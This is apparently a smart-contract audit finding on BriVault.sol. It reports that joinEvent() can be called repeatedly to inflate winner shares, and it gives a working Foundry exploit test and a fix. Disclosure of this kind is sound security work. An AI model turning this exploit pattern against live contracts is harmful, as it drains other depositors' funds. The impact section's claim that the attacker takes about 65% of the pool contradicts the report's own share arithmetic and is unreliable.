Root + Impact
Description
## Root Cause
The `joinEvent()` function in `BriVault.sol` (lines 236-256) lacks validation to prevent a user from calling it multiple times. Each call adds the user's address to the `usersAddress[]` array without checking for duplicates.
When `setWinner()` is called, the internal function `_getWinnerShares()` iterates through the entire `usersAddress[]` array and counts each address's shares separately, even if the same address appears multiple times.
**Vulnerable Code:**
```solidity
function joinEvent(uint256 countryId) public {
if (stakedAsset[msg.sender] == 0) {
revert noDeposit();
}
if (countryId >= teams.length) {
revert invalidCountry();
}
if (block.timestamp > eventStartDate) {
revert eventStarted();
}
userToCountry[msg.sender] = teams[countryId];
uint256 participantShares = balanceOf(msg.sender);
userSharesToCountry[msg.sender][countryId] = participantShares;
usersAddress.push(msg.sender);
numberOfParticipants++;
totalParticipantShares += participantShares;
emit joinedEvent(msg.sender, countryId);
}
```
**Winner calculation:**
```solidity
function _getWinnerShares() internal returns (uint256) {
for (uint256 i = 0; i < usersAddress.length; ++i){
address user = usersAddress[i];
totalWinnerShares += userSharesToCountry[user][winnerCountryId];
}
return totalWinnerShares;
}
```
## Impact
**Critical severity** - Direct theft of funds from legitimate winners.
An attacker can exploit this to steal a significant portion of the prize pool:
1. Attacker deposits tokens once (e.g., 1,000 tokens → receives 1,000 shares)
2. Attacker calls `joinEvent(countryId)` 100 times consecutively before the event starts
3. The attacker's address is now stored 100 times in `usersAddress[]`
4. When the owner calls `setWinner()`, the `_getWinnerShares()` function counts the attacker's 1,000 shares 100 times
5. `totalWinnerShares` becomes artificially inflated with 100,000 phantom shares
6. When winners withdraw, the payout calculation uses this inflated denominator
7. All legitimate winners receive dramatically less than they deserve
8. The attacker receives a disproportionate share of the pool
**Attack Scenario:**
Assume a tournament with 100,000 tokens in the prize pool:
- Legitimate winner Alice deposits 50,000 tokens → 50,000 shares (50% of pool)
- Attacker Bob deposits 1,000 tokens → 1,000 shares (1% of pool)
- Bob calls `joinEvent(0)` 100 times
- When `setWinner(0)` is called:
- `totalWinnerShares` = 50,000 + (1,000 × 100) = 150,000 shares
- Alice's withdrawal: `(50,000 / 150,000) × 100,000 = 33,333 tokens` (**loses 16,667 tokens**)
- Bob's theoretical claim: `(100,000 / 150,000) × 100,000 = 66,666 tokens` (**steals 65,666 tokens**)
The attacker steals approximately 65% of the prize pool with only 1% of the actual contribution.
Risk
Likelihood:
Impact:
Proof of Concept
## Proof of Concept
```solidity
pragma solidity ^0.8.24;
import "forge-std/Test.sol";
import "../src/BriVault.sol";
contract MultipleJoinExploitTest is Test {
BriVault public vault;
ERC20Mock public token;
address alice = makeAddr("alice");
address bob = makeAddr("bob");
address owner = makeAddr("owner");
address feeReceiver = makeAddr("feeReceiver");
function setUp() public {
token = new ERC20Mock();
vm.prank(owner);
vault = new BriVault(
IERC20(address(token)),
100,
block.timestamp + 1 days,
feeReceiver,
100e18,
block.timestamp + 10 days
);
string[48] memory countries;
countries[0] = "TeamA";
vm.prank(owner);
vault.setCountry(countries);
token.mint(alice, 100000e18);
token.mint(bob, 100000e18);
}
function testExploitMultipleJoinEvent() public {
uint256 aliceDeposit = 50000e18;
uint256 bobDeposit = 1000e18;
vm.startPrank(alice);
token.approve(address(vault), aliceDeposit);
vault.deposit(aliceDeposit, alice);
vault.joinEvent(0);
vm.stopPrank();
vm.startPrank(bob);
token.approve(address(vault), bobDeposit);
vault.deposit(bobDeposit, bob);
for(uint i = 0; i < 100; i++) {
vault.joinEvent(0);
}
vm.stopPrank();
assertEq(vault.numberOfParticipants(), 101);
vm.warp(vault.eventEndDate() + 1);
vm.prank(owner);
vault.setWinner(0);
uint256 aliceShares = vault.balanceOf(alice);
uint256 bobShares = vault.balanceOf(bob);
uint256 totalWinnerShares = vault.totalWinnerShares();
console.log("Alice shares:", aliceShares);
console.log("Bob shares:", bobShares);
console.log("Total winner shares (inflated):", totalWinnerShares);
assertEq(totalWinnerShares, aliceShares + (bobShares * 100));
uint256 vaultBalance = token.balanceOf(address(vault));
uint256 aliceExpectedPayout = (aliceShares * vaultBalance) / totalWinnerShares;
console.log("Vault balance:", vaultBalance);
console.log("Alice payout (with exploit):", aliceExpectedPayout);
console.log("Alice should receive:", (aliceShares * vaultBalance) / (aliceShares + bobShares));
}
}
```
Recommended Mitigation
## Recommended Mitigation
Add a mapping to track participation and prevent duplicate joins:
```solidity
mapping(address => bool) public hasJoinedEvent;
function joinEvent(uint256 countryId) public {
if (stakedAsset[msg.sender] == 0) {
revert noDeposit();
}
// Prevent duplicate joins
require(!hasJoinedEvent[msg.sender], "Already joined event");
hasJoinedEvent[msg.sender] = true;
if (countryId >= teams.length) {
revert invalidCountry();
}
if (block.timestamp > eventStartDate) {
revert eventStarted();
}
userToCountry[msg.sender] = teams[countryId];
uint256 participantShares = balanceOf(msg.sender);
userSharesToCountry[msg.sender][countryId] = participantShares;
usersAddress.push(msg.sender);
numberOfParticipants++;
totalParticipantShares += participantShares;
emit joinedEvent(msg.sender, countryId);
}
// Reset the flag when user cancels
function cancelParticipation() public {
if (block.timestamp >= eventStartDate){
revert eventStarted();
}
uint256 refundAmount = stakedAsset[msg.sender];
stakedAsset[msg.sender] = 0;
uint256 shares = balanceOf(msg.sender);
_burn(msg.sender, shares);
hasJoinedEvent[msg.sender] = false; // Reset participation flag
IERC20(asset()).safeTransfer(msg.sender, refundAmount);
}
```